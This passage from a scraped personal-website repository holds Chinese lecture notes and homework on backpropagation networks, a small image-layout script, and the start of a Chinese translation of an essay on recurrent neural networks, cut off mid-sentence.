ๅบ”ๅฆ‚ไฝ•้€‰ๆ‹ฉๅ‘ข?\n\n ๆ นๆฎๅ‰้ข็š„็ป้ชŒๅ…ฌๅผ๏ผŒๅฏๅพ—ๅˆฐไธ‹้ข็ป“ๆžœ:\n$$\n \\sum^n_{i=0}\\binom{n_1}{i}>1000 \\Rightarrow \\min n_1=10 \\\\\n \\begin{align}\n n_1 &= \\sqrt{m+n}+a = \\sqrt{44}+a = 8 \\sim 17\\\\\n n_1 &= \\log_234\\approx 6\n \\end{align}\n$$\n ๅœจๅฎž้™…ไธญ๏ผŒๆˆ‘ไปฌ้€‰ๆ‹ฉ $n_1=14$ใ€‚้€š่ฟ‡ๅฏน1000ไธชๆ ทๆœฌ็š„ๅญฆไน ๆ‰€ๅพ—ๅˆฐ็š„็ฝ‘็ปœๅฏน6000ไธชๆ‰‹ๅ†™ๆ•ฐๅญ—็š„ๆญฃ็กฎ่ฏ†ๅˆซ็Ž‡่พพๅˆฐ95%ใ€‚ \n\n **ไพ‹2.้ž็บฟๆ€งๆ›ฒ็บฟ็š„ๆ‹Ÿๅˆใ€‚**\n\n ๅœจๆŽงๅˆถไธญๅพ€ๅพ€ๅธŒๆœ›ไบง็”Ÿไธ€ไบ›้ž็บฟๆ€ง็š„่พ“ๅ‡บ่พ“ๅ…ฅๅ…ณ็ณปใ€‚ไพ‹ๅฆ‚๏ผŒๅทฒ็Ÿฅไธ€ไธชๆœบๆขฐ่‡‚ๅ–็‰ฉ็š„่ฝจ่ฟน๏ผŒๆ นๆฎ่ฟ™ไธช่ฝจ่ฟนๅฏ่ฎก็ฎ—ๅ‡บๆœบๆขฐ่‡‚ๅ…ณ่Š‚็š„่ง’ๅบฆ $\\theta_1$ ๅ’Œ $\\theta_2$ (ไธคไธชๅ…ณ่Š‚)๏ผŒๆŒ‰็…งๆœบๆขฐ่‡‚็š„ $\\theta$ ่ฆๆฑ‚ๅบ”่ฏฅๅๆผ”่ฎก็ฎ—ๅ‡บ้ฉฑๅŠจ้ฉฌ่พพ็š„ๅŠ›ๆˆ–้ข‘็Ž‡่ฟ™ๆ˜ฏไธ€ไธช็›ธๅฝ“ๅคๆ‚็š„่ฎก็ฎ—้—ฎ้ข˜ใ€‚ไฝ†ๆˆ‘ไปฌๅฏ้‡‡็”จBP็ฝ‘็ปœๅฏนไธ€ไบ›ๆ ทๆœฌ็š„ๅญฆไน ๅพ—ๅˆฐ่ฟ™ไบ›้ž็บฟๆ€งๆ›ฒ็บฟ็š„ๆ‹Ÿๅˆ๏ผŒๆ นๆœฌๆ— ้กป็Ÿฅ้“ๆœบๆขฐ่‡‚็š„ๅŠจๅŠ›ๅญฆๆจกๅž‹ใ€‚\n\n ๅœจไธ€็ปดๆƒ…ๅ†ตไธ‹๏ผŒๅฐฑๆ˜ฏๆ‹Ÿๅˆ $y=g(x)$๏ผŒๅ…ถไธญ $x$ ่กจ็คบ $\\theta$ ่ง’๏ผŒ$y$ ไธบๆ‰€ๅฏนๅบ”็š„้ฉฌ่พพ้ฉฑๅŠจๅŠ›ใ€‚ๅœจๆŸไบ›ไฝ็ฝฎ๏ผŒๆˆ‘ไปฌๅฎนๆ˜“ๅพ—ๅˆฐ่ฟ™ไบ›ๅฏนๅบ”ๅ€ผ๏ผŒๅ› ๆญคๅฏไปฅๅพ—ๅˆฐ่ถณๅคŸ็š„ๆ ทๆœฌใ€‚ \n\n ![](https://i.loli.net/2018/11/12/5be92f017d80e.png)\n\n **ไพ‹3.ๆ•ฐๆฎๅŽ‹็ผฉ**\n\n ![](https://i.loli.net/2018/11/12/5be92f4e7da2c.png)\n\n ![](https://i.loli.net/2018/11/12/5be92f25c1a66.png)\n\n BP็ฝ‘็ปœ็›ธๅฝ“ไบŽไธ€ไธช็ผ–็ ใ€่งฃ็ ๅ™จ๏ผŒ$n_1$ ่ถŠๅฐ๏ผŒๅŽ‹็ผฉ็Ž‡่ถŠๅฐ๏ผŒไฝ†ๅคชๅฐๅฏ่ƒฝ่พพไธๅˆฐๅ”ฏไธ€่ฏ‘็ ็š„่ฆๆฑ‚ใ€‚\n\n\n\n\n\n### ไฝœไธš\n\n1. ๆŽจๅฏผkๅฑ‚ๅ‰้ฆˆ็ฝ‘็ปœ็š„BP็ฎ—ๆณ•๏ผŒๅนถไธ”่€ƒ่™‘่ทจๅฑ‚่ฟžๆŽฅ็š„ๆƒๅ€ผใ€‚\n\n2. ้‡‡็”จ2-2-1็ป“ๆž„็š„ๅ‰้ฆˆ็ฝ‘็ปœ้€š่ฟ‡BP็ฎ—ๆณ•ๆฑ‚่งฃXOR้—ฎ้ข˜๏ผŒๅ…ถไธญ้€ผ่ฟ‘็ฒพๅบฆ $\\epsilon = 0.001$ใ€‚\n\n3. ้‡‡็”จ2-m-1็ป“ๆž„็š„ๅ‰้ฆˆ็ฝ‘็ปœ้€š่ฟ‡BP็ฎ—ๆณ•ๆฅ้€ผ่ฟ‘ๅฎšไน‰ไบŽ[0,1]่ฟž็ปญๅ‡ฝๆ•ฐ $y=f(x)=1/(1+\\sqrt{x^2_1+x^2_2})$๏ผŒๅ…ถไธญ้€ผ่ฟ‘็ฒพๅบฆ $\\epsilon=0.01$ใ€‚่ฏทๆŒ‰ๅ‡ๅŒ€ๆ ผ็‚น้€‰ๆ‹ฉ 10000 ไธชๆ ทๆœฌ็‚น๏ผŒ้šๆœบ้€‰ๅ–5000ไธชไฝœไธบ่ฎญ็ปƒๆ ทๆœฌ๏ผŒไธ”ๅ‰ฉไฝ™็š„5000ไธชไฝœๆฃ€ๆต‹ๆ ทๆœฌใ€‚ๆ นๆฎ่ฏฅๅญฆไน ้—ฎ้ข˜๏ผŒๅฏ้€‰ๅ–ไธ‰็งไธๅŒ็š„mๅ€ผ๏ผŒๅนถ่ง‚ๅฏŸๆ‰€ๅพ—็ฝ‘็ปœๅœจๆฃ€ๆต‹ๆ ทๆœฌไธŠ็š„่ฏฏๅทฎๅ˜ๅŒ–ใ€‚ \n\n\n\n\n\n\n\n\n\n\n\n---\n\n[่ฟ”ๅ›žๅˆฐ้ฆ–้กต](../index.html) | [่ฟ”ๅ›žๅˆฐ้กถ้ƒจ](./note1.html)\n\n\n<div id=\"disqus_thread\"></div>\n<script>\n/**\n* RECOMMENDED CONFIGURATION VARIABLES: EDIT AND UNCOMMENT THE SECTION BELOW TO INSERT DYNAMIC VALUES FROM YOUR PLATFORM OR CMS.\n* LEARN WHY DEFINING THESE VARIABLES IS IMPORTANT: https://disqus.com/admin/universalcode/#configuration-variables*/\n/*\nvar disqus_config = function () {\nthis.page.url = PAGE_URL; // Replace PAGE_URL with your page's canonical URL variable\nthis.page.identifier = PAGE_IDENTIFIER; // Replace PAGE_IDENTIFIER with your page's unique identifier variable\n};\n*/\n(function() { // DON'T EDIT BELOW THIS LINE\nvar d = document, s = d.createElement('script');\ns.src = 'https://iphysresearch.disqus.com/embed.js';\ns.setAttribute('data-timestamp', +new Date());\n(d.head || d.body).appendChild(s);\n})();\n</script>\n<noscript>Please enable JavaScript to view the <a href=\"https://disqus.com/?ref_noscript\">comments powered by Disqus.</a></noscript>\n\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>\n\n\n\n" }, { "alpha_fraction": 0.6335078477859497, "alphanum_fraction": 0.6387434601783752, "avg_line_length": 47, "blob_id": "5cda831ccf34008ecf0b6ccf70997b9547b27772", "content_id": "b23fc9ccb14fc59910160eb47d5035716d5a4788", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 191, "license_type": "no_license", "max_line_length": 99, "num_lines": 4, "path": "/static/js/layout_img.js", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "var NameDom = document.getElementsByTagName('img')\nfor (i = 0; i < NameDom.length; i++) {\n NameDom[i].outerHTML = '<div class=\"l-body\" align=\"center\">' + NameDom[i].outerHTML + '</div>';\n}" }, { "alpha_fraction": 0.7497969269752502, "alphanum_fraction": 0.7760002613067627, "avg_line_length": 38.605594635009766, "blob_id": "4326dd062fcf41ad1a92f44d4499f8d8b16a58f7", "content_id": "2bc73c39736dbe624c051504df25849e63210e5b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 48995, "license_type": "no_license", "max_line_length": 629, "num_lines": 715, "path": "/blog/cs231n/The Unreasonable Effectiveness of Recurrent Neural Networks.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: The Unreasonable Effectiveness of Recurrent Neural Networks\ndate: 2018-09-03\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html)\n\n---\n\n\n\n# CS231n่ฏพ็จ‹่ต„ๆ–™๏ผšๅพช็Žฏ็ฅž็ป็ฝ‘็ปœๆƒŠไบบ็š„ๆœ‰ๆ•ˆๆ€ง\n\n> **่‡ชๆณจ๏ผš**ๆญคๆ–‡ๆ˜ฏๅœจ่ฝฌ่ฝฝ็š„ๅŸบ็ก€ไธŠ๏ผŒ้€š่ฟ‡็ฝ‘็ปœๆœ้›†ๅ…ถไป–็›ธๅ…ณๅญฆไน ่ต„ๆ–™๏ผŒๅ†็ป“ๅˆ่‡ชๅทฑ็†่งฃไธ‹๏ผŒๅกซๅ……ๅนถๆณจ้‡Šไบ†ๆ›ดๅคš็š„็ป†่Š‚ๅ’Œๅ†…ๅฎน๏ผŒไปฅๆญค่ฏฆๅฐฝ็š„ๆ–‡ๆœฌ่ต„ๆ–™ไปฃๆ›ฟๅ„็ง่ง†้ข‘่ฏพ็จ‹็ญ‰่ต„ๆ–™๏ผŒไป…ๆ–นไพฟ่‡ชๅทฑๅ›žๅคด็ฟปๆŸฅใ€‚\n>\n> ่ฝฌ่ฝฝ่ฏทๆณจๆ˜Žๆœฌๆ–‡ๅ‡บๅค„ๅ’Œ[ๅŽŸ่ฏ‘ๆ–‡](https://zhuanlan.zhihu.com/p/22107715)ๅ‡บๅค„ใ€‚\n\n> ่ฏ‘่€…ๆณจ๏ผš็‰ˆๆƒๅฃฐๆ˜Ž๏ผšๆœฌๆ–‡[ๆ™บ่ƒฝๅ•ๅ…ƒ](https://zhuanlan.zhihu.com/intelligentunit)้ฆ–ๅ‘๏ผŒๆœฌไบบๅŽŸๅˆ›็ฟป่ฏ‘๏ผŒ็ฆๆญขๆœชๆŽˆๆƒ่ฝฌ่ฝฝใ€‚ \n>\n> ็ป็Ÿฅๅ‹ๆŽจ่๏ผŒๅฐ† [The Unreasonable Effectiveness of Recurrent Neural Networks](http://karpathy.github.io/2015/05/21/rnn-effectiveness/) ไธ€ๆ–‡็ฟป่ฏ‘ไฝœไธบCS231n่ฏพ็จ‹ๆ— RNNๅ’ŒLSTM็ฌ”่ฎฐ็š„่กฅๅ……๏ผŒๆ„Ÿ่ฐข [@ๅ ƒๅ ƒ](https://www.zhihu.com/people/e7fcc05b0cf8a90a3e676d0206f888c9)๏ผŒ@[็Œดๅญ](https://www.zhihu.com/people/hmonkey) ๅ’Œ[@ๆŽ่‰บ้ข–](https://www.zhihu.com/people/f11e78650e8185db2b013af42fd9a481)็š„ๆ กๅฏนใ€‚\n\n[TOC]\n\n## ็›ฎๅฝ•\n\n- ๅพช็Žฏ็ฅž็ป็ฝ‘็ปœ\n\n- ๅญ—ๆฏ็บงๅˆซ็š„่ฏญ่จ€ๆจกๅž‹\n\n- RNN็š„ไน่ถฃ\n\n - Paul Graham็”Ÿๆˆๅ™จ\n\n - ่ŽŽๅฃซๆฏ”ไบš\n - ็ปดๅŸบ็™พ็ง‘\n - ๅ‡ ไฝ•ไปฃๆ•ฐ\n - Linuxๆบ็ \n - ็”Ÿๆˆๅฉดๅ„ฟๅง“ๅ\n\n- ็†่งฃ่ฎญ็ปƒ่ฟ‡็จ‹\n\n - ่ฎญ็ปƒๆ—ถ่พ“ๅ‡บๆ–‡ๆœฌ็š„่ฟ›ๅŒ–\n\n - RNNไธญ็š„้ข„ๆต‹ไธŽ็ฅž็ปๅ…ƒๆฟ€ๆดปๅฏ่ง†ๅŒ–\n\n- ๆบไปฃ็ \n\n- ๆ‹“ๅฑ•้˜…่ฏป\n\n- ็ป“่ฎบ\n\n- ่ฏ‘่€…ๅ้ฆˆ\n\n## ๅŽŸๆ–‡ๅฆ‚ไธ‹\n\nๅพช็Žฏ็ฅž็ป็ฝ‘็ปœ๏ผˆRNN๏ผ‰็ฎ€็›ดๅƒๆ˜ฏ้ญ”ๆณ•ไธ€ๆ ทไธๅฏๆ€่ฎฎใ€‚ๆˆ‘ไธบ[ๅ›พๅƒๆ ‡ๆณจ](https://cs.stanford.edu/people/karpathy/deepimagesent/)้กน็›ฎ่ฎญ็ปƒ็ฌฌไธ€ไธชๅพช็Žฏ็ฝ‘็ปœๆ—ถ็š„ๆƒ…ๆ™ฏๅˆฐ็Žฐๅœจ้ƒฝ่ฟ˜ๅŽ†ๅŽ†ๅœจ็›ฎใ€‚ๅฝ“ๆ—ถๆ‰ๅฏน็ฌฌไธ€ไธช็ปƒๆ‰‹ๆจกๅž‹่ฎญ็ปƒไบ†ๅๅ‡ ๅˆ†้’Ÿ๏ผˆ่ถ…ๅ‚ๆ•ฐ่ฟ˜้ƒฝๆ˜ฏ้šๆ‰‹่ฎพ็ฝฎ็š„๏ผ‰๏ผŒๅฎƒๅฐฑๅผ€ๅง‹็”Ÿๆˆไธ€ไบ›ๅฏนไบŽๅ›พๅƒ็š„ๆ่ฟฐ๏ผŒๆ่ฟฐๅ†…ๅฎน็œ‹่ตทๆฅๅพˆไธ้”™๏ผŒๅ‡ ไนŽ่ฎฉไบบๆ„Ÿๅˆฐ่ฏญๅฅๆ˜ฏ้€š้กบ็š„ไบ†ใ€‚ๆœ‰ๆ—ถๅ€™ไฝ ไผš้‡ๅˆฐๆจกๅž‹็ฎ€ๅ•๏ผŒ็ป“ๆžœ็š„่ดจ้‡ๅด่ฟœ้ซ˜้ข„ๆœŸ็š„ๆƒ…ๅ†ต๏ผŒ่ฟ™ๅฐฑๆ˜ฏๅ…ถไธญไธ€ๆฌกใ€‚ๅฝ“ๆ—ถ่ฟ™ไธช็ป“ๆžœ่ฎฉๆˆ‘้žๅธธๆƒŠ่ฎถๆ˜ฏๅ› ไธบๆˆ‘ๆœฌไปฅไธบRNNๆ˜ฏ้žๅธธ้šพไปฅ่ฎญ็ปƒ็š„๏ผˆ้š็€ๅฎž่ทต็š„ๅขžๅคš๏ผŒๆˆ‘็š„็ป“่ฎบๅŸบๆœฌไธŽไน‹็›ธๅไบ†๏ผ‰ใ€‚่ฎฉๆˆ‘ไปฌๅฟซ่ฟ›ไธ€ๅนด๏ผšๅณไฝฟ็Žฐๅœจๆˆ‘ๆˆๅคฉ้ƒฝๅœจ่ฎญ็ปƒRNN๏ผŒไนŸๅธธๅธธ็œ‹ๅˆฐๅฎƒไปฌ็š„่ƒฝๅŠ›ๅ’Œ้ฒๆฃ’ๆ€ง๏ผŒๆœ‰ๆ—ถๅ€™ๅฎƒไปฌ้‚ฃๅ……ๆปก้ญ”ๆ€ง็š„่พ“ๅ‡บ่ฟ˜ๆ˜ฏ่ƒฝๅคŸๆŠŠๆˆ‘็ป™้€—ไนใ€‚่ฟ™็ฏ‡ๅšๆ–‡ๅฐฑๆ˜ฏๆฅๅ’Œไฝ ๅˆ†ไบซRNNไธญ็š„ไธ€ไบ›้ญ”ๆณ•ใ€‚\n\n> ๆˆ‘ไปฌๅฐ†่ฎญ็ปƒRNN๏ผŒ่ฎฉๅฎƒไปฌ็”Ÿๆˆไธ€ไธชๅˆไธ€ไธชๅญ—ๆฏใ€‚ๅŒๆ—ถๅฅฝๅฅฝๆ€่€ƒ่ฟ™ไธช้—ฎ้ข˜๏ผš่ฟ™ๆ€Žไนˆๅฏ่ƒฝๅ‘ข๏ผŸ\n\n้กบไพฟ่ฏดไธ€ๅฅ๏ผŒๅ’Œ่ฟ™็ฏ‡ๅšๆ–‡ไธ€่ตท๏ผŒๆˆ‘ๅœจGithubไธŠๅ‘ๅธƒไบ†ไธ€ไธช้กน็›ฎใ€‚้กน็›ฎๅŸบไบŽๅคšๅฑ‚็š„LSTM๏ผŒไฝฟๅพ—ไฝ ๅฏไปฅ่ฎญ็ปƒๅญ—ๆฏ็บงๅˆซ็š„่ฏญ่จ€ๆจกๅž‹ใ€‚ไฝ ๅฏไปฅ่พ“ๅ…ฅไธ€ๅคงๆฎตๆ–‡ๆœฌ๏ผŒ็„ถๅŽๅฎƒ่ƒฝๅญฆไน ๅนถๆŒ‰็…งไธ€ๆฌกไธ€ไธชๅญ—ๆฏ็š„ๆ–นๅผ็”Ÿๆˆๆ–‡ๆœฌใ€‚ไฝ ไนŸๅฏไปฅ็”จๅฎƒๆฅๅค็Žฐๆˆ‘ไธ‹้ข็š„ๅฎž้ชŒใ€‚ไฝ†ๆ˜ฏ็Žฐๅœจๆˆ‘ไปฌ่ฆ่ถ…ๅ‰ไธ€็‚น๏ผšRNNๅˆฐๅบ•ๆ˜ฏไป€ไนˆ๏ผŸ\n\n\n\n## ๅพช็Žฏ็ฅž็ป็ฝ‘็ปœ\n\n**ๅบๅˆ—**ใ€‚ๅŸบไบŽ็Ÿฅ่ฏ†่ƒŒๆ™ฏ๏ผŒไฝ ๅฏ่ƒฝไผšๆ€่€ƒ๏ผš*ๆ˜ฏไป€ไนˆ่ฎฉRNNๅฆ‚ๆญค็‹ฌ็‰นๅ‘ข๏ผŸ*ๆ™ฎ้€š็ฅž็ป็ฝ‘็ปœๅ’Œๅท็งฏ็ฅž็ป็ฝ‘็ปœ็š„ไธ€ไธชๆ˜พ่€Œๆ˜“่ง็š„ๅฑ€้™ๅฐฑๆ˜ฏไป–ไปฌ็š„API้ƒฝ่ฟ‡ไบŽ้™ๅˆถ๏ผšไป–ไปฌๆŽฅๆ”ถไธ€ไธชๅ›บๅฎšๅฐบๅฏธ็š„ๅ‘้‡ไฝœไธบ่พ“ๅ…ฅ๏ผˆๆฏ”ๅฆ‚ไธ€ๅผ ๅ›พๅƒ๏ผ‰๏ผŒๅนถไธ”ไบง็”Ÿไธ€ไธชๅ›บๅฎšๅฐบๅฏธ็š„ๅ‘้‡ไฝœไธบ่พ“ๅ‡บ๏ผˆๆฏ”ๅฆ‚้’ˆๅฏนไธๅŒๅˆ†็ฑป็š„ๆฆ‚็Ž‡๏ผ‰ใ€‚ไธไป…ๅฆ‚ๆญค๏ผŒ่ฟ™ไบ›ๆจกๅž‹็”š่‡ณๅฏนไบŽไธŠ่ฟฐๆ˜ ๅฐ„็š„ๆผ”็ฎ—ๆ“ไฝœ็š„ๆญฅ้ชคไนŸๆ˜ฏๅ›บๅฎš็š„๏ผˆๆฏ”ๅฆ‚ๆจกๅž‹ไธญ็š„ๅฑ‚ๆ•ฐ๏ผ‰ใ€‚RNNไน‹ๆ‰€ไปฅๅฆ‚ๆญค่ฎฉไบบๅ…ดๅฅ‹๏ผŒๅ…ถๆ ธๅฟƒๅŽŸๅ› ๅœจไบŽๅ…ถๅ…่ฎธๆˆ‘ไปฌๅฏนๅ‘้‡็š„ๅบๅˆ—่ฟ›่กŒๆ“ไฝœ๏ผš่พ“ๅ…ฅๅฏไปฅๆ˜ฏๅบๅˆ—๏ผŒ่พ“ๅ‡บไนŸๅฏไปฅๆ˜ฏๅบๅˆ—๏ผŒๅœจๆœ€ไธ€่ˆฌๅŒ–็š„ๆƒ…ๅ†ตไธ‹่พ“ๅ…ฅ่พ“ๅ‡บ้ƒฝๅฏไปฅๆ˜ฏๅบๅˆ—ใ€‚ไธ‹้ขๆ˜ฏไธ€ไบ›็›ด่ง‚็š„ไพ‹ๅญ๏ผš\n\n---\n\n![](https://i.loli.net/2018/09/03/5b8d476496916.png)\n\nไธŠๅ›พไธญๆฏไธชๆญฃๆ–นๅฝขไปฃ่กจไธ€ไธชๅ‘้‡๏ผŒ็ฎญๅคดไปฃ่กจๅ‡ฝๆ•ฐ๏ผˆๆฏ”ๅฆ‚็Ÿฉ้˜ตไน˜ๆณ•๏ผ‰ใ€‚่พ“ๅ…ฅๅ‘้‡ๆ˜ฏ็บข่‰ฒ๏ผŒ่พ“ๅ‡บๅ‘้‡ๆ˜ฏ่“่‰ฒ๏ผŒ็ปฟ่‰ฒๅ‘้‡่ฃ…็š„ๆ˜ฏRNN็š„็Šถๆ€๏ผˆ้ฉฌไธŠๅ…ทไฝ“ไป‹็ป๏ผ‰ใ€‚ไปŽๅทฆ่‡ณๅณไธบ๏ผš\n\n1. ้žRNN็š„ๆ™ฎ้€š่ฟ‡็จ‹๏ผŒไปŽๅ›บๅฎšๅฐบๅฏธ็š„่พ“ๅ…ฅๅˆฐๅ›บๅฎšๅฐบๅฏธ็š„่พ“ๅ‡บ๏ผˆๆฏ”ๅฆ‚ๅ›พๅƒๅˆ†็ฑป๏ผ‰ใ€‚\n2. ่พ“ๅ‡บๆ˜ฏๅบๅˆ—๏ผˆไพ‹ๅฆ‚ๅ›พๅƒๆ ‡ๆณจ๏ผš่พ“ๅ…ฅๆ˜ฏไธ€ๅผ ๅ›พๅƒ๏ผŒ่พ“ๅ‡บๆ˜ฏๅ•่ฏ็š„ๅบๅˆ—๏ผ‰ใ€‚\n3. ่พ“ๅ…ฅๆ˜ฏๅบๅˆ—๏ผˆไพ‹ๅฆ‚ๆƒ…็ปชๅˆ†ๆž๏ผš่พ“ๅ…ฅๆ˜ฏไธ€ไธชๅฅๅญ๏ผŒ่พ“ๅ‡บๆ˜ฏๅฏนๅฅๅญๅฑžไบŽๆญฃ้ข่ฟ˜ๆ˜ฏ่ดŸ้ขๆƒ…็ปช็š„ๅˆ†็ฑป๏ผ‰ใ€‚\n4. ่พ“ๅ…ฅ่พ“ๅ‡บ้ƒฝๆ˜ฏๅบๅˆ—๏ผˆๆฏ”ๅฆ‚ๆœบๅ™จ็ฟป่ฏ‘๏ผšRNN่พ“ๅ…ฅไธ€ไธช่‹ฑๆ–‡ๅฅๅญ่พ“ๅ‡บไธ€ไธชๆณ•ๆ–‡ๅฅๅญ๏ผ‰ใ€‚\n5. ๅŒๆญฅ็š„่พ“ๅ…ฅ่พ“ๅ‡บๅบๅˆ—๏ผˆๆฏ”ๅฆ‚่ง†้ข‘ๅˆ†็ฑปไธญ๏ผŒๆˆ‘ไปฌๅฐ†ๅฏน่ง†้ข‘็š„ๆฏไธ€ๅธง้ƒฝๆ‰“ๆ ‡็ญพ๏ผ‰ใ€‚\n\nๆณจๆ„ๅœจๆฏไธชๆกˆไพ‹ไธญ้ƒฝๆฒกๆœ‰ๅฏนๅบๅˆ—็š„้•ฟๅบฆๅšๅ‡บ้ข„ๅ…ˆ่ง„ๅฎš๏ผŒ่ฟ™ๆ˜ฏๅ› ไธบๅพช็Žฏๅ˜ๆข๏ผˆ็ปฟ่‰ฒ้ƒจๅˆ†๏ผ‰ๆ˜ฏๅ›บๅฎš็š„๏ผŒๆˆ‘ไปฌๆƒณ็”จๅ‡ ๆฌกๅฐฑ็”จๅ‡ ๆฌกใ€‚\n\n---\n\nๅฆ‚ไฝ ๆœŸๆœ›็š„้‚ฃๆ ท๏ผŒ็›ธ่พƒไบŽ้‚ฃไบ›ไปŽไธ€ๅผ€ๅง‹่ฟž่ฎก็ฎ—ๆญฅ้ชค็š„้ƒฝๅฎšไธ‹็š„ๅ›บๅฎš็ฝ‘็ปœ๏ผŒๅบๅˆ—ไฝ“ๅˆถ็š„ๆ“ไฝœ่ฆๅผบๅคงๅพ—ๅคšใ€‚ๅนถไธ”ๅฏนไบŽ้‚ฃไบ›ๅ’Œๆˆ‘ไปฌไธ€ๆ ทๅธŒๆœ›ๆž„ๅปบไธ€ไธชๆ›ดๅŠ ๆ™บ่ƒฝ็š„็ณป็ปŸ็š„ไบบๆฅ่ฏด๏ผŒ่ฟ™ๆ ท็š„็ฝ‘็ปœไนŸๆ›ดๆœ‰ๅธๅผ•ๅŠ›ใ€‚ๆˆ‘ไปฌๅŽ้ข่ฟ˜ไผš็œ‹ๅˆฐ๏ผŒRNNๅฐ†ๅ…ถ่พ“ๅ…ฅๅ‘้‡ใ€็Šถๆ€ๅ‘้‡ๅ’Œไธ€ไธชๅ›บๅฎš๏ผˆๅฏๅญฆไน ็š„๏ผ‰ๅ‡ฝๆ•ฐ็ป“ๅˆ่ตทๆฅ็”Ÿๆˆไธ€ไธชๆ–ฐ็š„็Šถๆ€ๅ‘้‡ใ€‚ๅœจ็จ‹ๅบ็š„่ฏญๅขƒไธญ๏ผŒ่ฟ™ๅฏไปฅ็†่งฃไธบ่ฟ่กŒไธ€ไธชๅ…ทๆœ‰ๆŸไบ›่พ“ๅ…ฅๅ’Œๅ†…้ƒจๅ˜้‡็š„ๅ›บๅฎš็จ‹ๅบใ€‚ไปŽ่ฟ™ไธช่ง’ๅบฆ็œ‹๏ผŒRNNๆœฌ่ดจไธŠๅฐฑๆ˜ฏๅœจๆ่ฟฐ็จ‹ๅบใ€‚ๅฎž้™…ไธŠRNNๆ˜ฏๅ…ทๅค‡[ๅ›พ็ตๅฎŒๅค‡ๆ€ง](http://binds.cs.umass.edu/papers/1995_Siegelmann_Science.pdf)็š„๏ผŒๅช่ฆๆœ‰ๅˆ้€‚็š„ๆƒ้‡๏ผŒๅฎƒไปฌๅฏไปฅๆจกๆ‹Ÿไปปๆ„็š„็จ‹ๅบใ€‚็„ถ่€Œๅฐฑๅƒ็ฅž็ป็ฝ‘็ปœ็š„้€š็”จ่ฟ‘ไผผ็†่ฎบไธ€ๆ ท๏ผŒไฝ ไธ็”จ่ฟ‡ไบŽๅ…ณๆณจๅ…ถไธญ็ป†่Š‚ใ€‚ๅฎž้™…ไธŠ๏ผŒๆˆ‘ๅปบ่ฎฎไฝ ๅฟ˜ไบ†ๆˆ‘ๅˆšๆ‰่ฏด่ฟ‡็š„่ฏใ€‚\n\n> ๅฆ‚ๆžœ่ฎญ็ปƒๆ™ฎ้€š็ฅž็ป็ฝ‘็ปœๆ˜ฏๅฏนๅ‡ฝๆ•ฐๅšๆœ€ไผ˜ๅŒ–๏ผŒ้‚ฃไนˆ่ฎญ็ปƒๅพช็Žฏ็ฝ‘็ปœๅฐฑๆ˜ฏ้’ˆๅฏน็จ‹ๅบๅšๆœ€ไผ˜ๅŒ–ใ€‚\n\n\n\n**ๆ— ๅบๅˆ—ไนŸ่ƒฝ่ฟ›่กŒๅบๅˆ—ๅŒ–ๅค„็†**ใ€‚ไฝ ๅฏ่ƒฝไผšๆƒณ๏ผŒๅฐ†ๅบๅˆ—ไฝœไธบ่พ“ๅ…ฅๆˆ–่พ“ๅ‡บ็š„ๆƒ…ๅ†ตๆ˜ฏ็›ธๅฏนๅฐ‘่ง็š„๏ผŒไฝ†ๆ˜ฏ้œ€่ฆ่ฎค่ฏ†ๅˆฐ็š„้‡่ฆไธ€็‚นๆ˜ฏ๏ผšๅณไฝฟ่พ“ๅ…ฅๆˆ–่พ“ๅ‡บๆ˜ฏๅ›บๅฎšๅฐบๅฏธ็š„ๅ‘้‡๏ผŒไพ็„ถๅฏไปฅไฝฟ็”จ่ฟ™ไธชๅผบๅคง็š„ๅฝขๅผไฝ“็ณปไปฅๅบๅˆ—ๅŒ–็š„ๆ–นๅผๅฏนๅฎƒไปฌ่ฟ›่กŒๅค„็†ใ€‚ไพ‹ๅฆ‚๏ผŒไธ‹ๅ›พๆฅ่‡ชไบŽ[DeepMind](http://deepmind.com)็š„ไธค็ฏ‡้žๅธธไธ้”™็š„่ฎบๆ–‡ใ€‚ๅทฆไพงๅŠจๅ›พๆ˜พ็คบ็š„ๆ˜ฏไธ€ไธช็ฎ—ๆณ•ๅญฆไน ๅˆฐไบ†ไธ€ไธชๅพช็Žฏ็ฝ‘็ปœ็š„็ญ–็•ฅ๏ผŒ่ฏฅ็ญ–็•ฅ่ƒฝๅคŸๅผ•ๅฏผๅฎƒๅฏนๅ›พๅƒ่ฟ›่กŒ่ง‚ๅฏŸ๏ผ›ๆ›ดๅ…ทไฝ“ไธ€ไบ›๏ผŒๅฐฑๆ˜ฏๅฎƒๅญฆไผšไบ†ๅฆ‚ไฝ•ไปŽๅทฆๅพ€ๅณๅœฐ้˜…่ฏปๅปบ็ญ‘็š„้—จ็‰Œๅท๏ผˆ[Ba et al](https://arxiv.org/abs/1412.7755)๏ผ‰ใ€‚ๅณ่พนๅŠจๅ›พๆ˜พ็คบ็š„ๆ˜ฏไธ€ไธชๅพช็Žฏ็ฝ‘็ปœ้€š่ฟ‡ๅญฆไน ๅบๅˆ—ๅŒ–ๅœฐๅ‘็”ปๅธƒไธŠๆทปๅŠ ้ขœ่‰ฒ๏ผŒ็”Ÿๆˆไบ†ๅ†™ๆœ‰ๆ•ฐๅญ—็š„ๅ›พ็‰‡๏ผˆ[Gregor et 